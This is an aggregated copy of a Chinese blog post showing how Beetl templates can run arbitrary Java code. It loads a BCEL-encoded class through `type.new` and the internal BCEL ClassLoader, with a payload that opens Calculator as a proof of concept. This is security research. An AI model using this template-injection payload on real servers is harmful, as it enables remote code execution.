9

Beetl 模版引擎执行任意 Java 代码的方法

 3 years ago
source link: https://www.landgrey.me/blog/17/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

一. Beetl 介绍

网上没搜索到 Beetl 模版引擎执行任意 Java 代码的方法,所以顺手看下文档,顺便分享下方法。

下是来自 官网 的简介:

Beetl是Bee Template Language的缩写,它绝不是简单的另外一种模板引擎,而是新一代的模板引擎,它功能强大,性能良好,超过当前流行的模板引擎。而且还易学易用。

二. 执行任意 java 代码

  • Beetl 默认的语句界定符为 <% %>

  • Beetl 支持用 type.new 创建一个对象实例,语法有点像 javascript

  var user = type.new("com.xx.User");
  • Beetl 支持用 java 代码风格来调用属性和对象,例如:
  ${@user.getMaxFriend(“lucy”)}
  ${@com.xxxx.constants.Order.getMaxNum()}

  <%
  var max = @com.xxxx.constants.Order.MAX_NUM;
  var c =1;
  var d = @user.getAge(c);
  %>

结合以上三个小知识,就可以利用 type.new 创建一个 bcel ClassLoader 的实例,然后使用实例加载任意代码,并实例化代码,执行任意的自定义代码。当然,肯定还有其他方法,不过找到一个通用的就行了,暂时不需要深挖。

下面是一个使用 Runtime exec 执行 /bin/bash -c "open -a Calculator" 命令弹计算器的例子:

<%

var obj = type.new("com.sun.org.apache.bcel.internal.util.ClassLoader");
@obj.loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$c9N$e3$40$Q$7d$ed8n$c7$98$cdl$c3$9a$b0$H$q$s$SW$d0$5c$90$b8$Q$W$e1$I$Uq$Y$b5$7b$9a$600v$e48$cc$fc$d1$9c$b9$AB$82$P$e0$a3$Q$d5$Wb$edCu$f5$abW$ef$95$aa$9f$9e$ef$l$B$acc$d9A$PF8Fm$8c$d9$f8ac$dc$c1$E$su$98$e2$98v$60c$86$a3$ccQa$b06$c38$cc$7e1$U$aa$xG$M$e6V$f2G1$f4$d7$c3X$edu$_$D$956D$Q$Rbo$ca$e8$95$d9$ebgB$5e$ec$8av$5e$oA$G$c7O$ba$a9T$db$a1$a6$96$a4$88$e4$cfsq$r$5c$b8$e8e$Y$d0y$z$Sq$ab$e6gi$Y$b7$88S$L$c2$b8$W$88$ce$Z$83$b1$s$Z$bc$a4$ad$e2$ca$9a$a8lQs7$SY$92r$cc$ba$98$c3$bc$8b$F$y2$M$bd$ab4$ce$d2$e4$af6w$b1$a4$NL$ed$f8$c9g$3f8W2c$Y$7c$87$O$bbq$W$5e$d2$7cNKeo$8f$91$eaJ$fd$hg$83$q$d5$3fE$92$d5$eaI$fd$eb$f4$h$l$3b$O$d2D$aaN$87$3a$fa$dbT$cc$f2$dd4R$n$Vf$a1$ffA$l$DLo$82b$l$bd$a6$e9ft$XWo$c1$ae$v$a1$5e$8aV$O$d2$a61$f0F$3d$85$99$a3$8b$d6$D$8cf$c1$x$f8M$d33$fdf$d1$x$fa$3bw$b0Vo$c0$8f$ff$c3$de$a1$a4t$9dS$a7P$s$J$p$97$9c$mQ$90$c40$8a$84$dbT$b1P$B$a7$7d$960H$V$O$e37$87$a7$3d$86$f21$87_$Ad$8aRTD$C$A$A").newInstance();

%>

三:参考文章

beetl basic guide


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK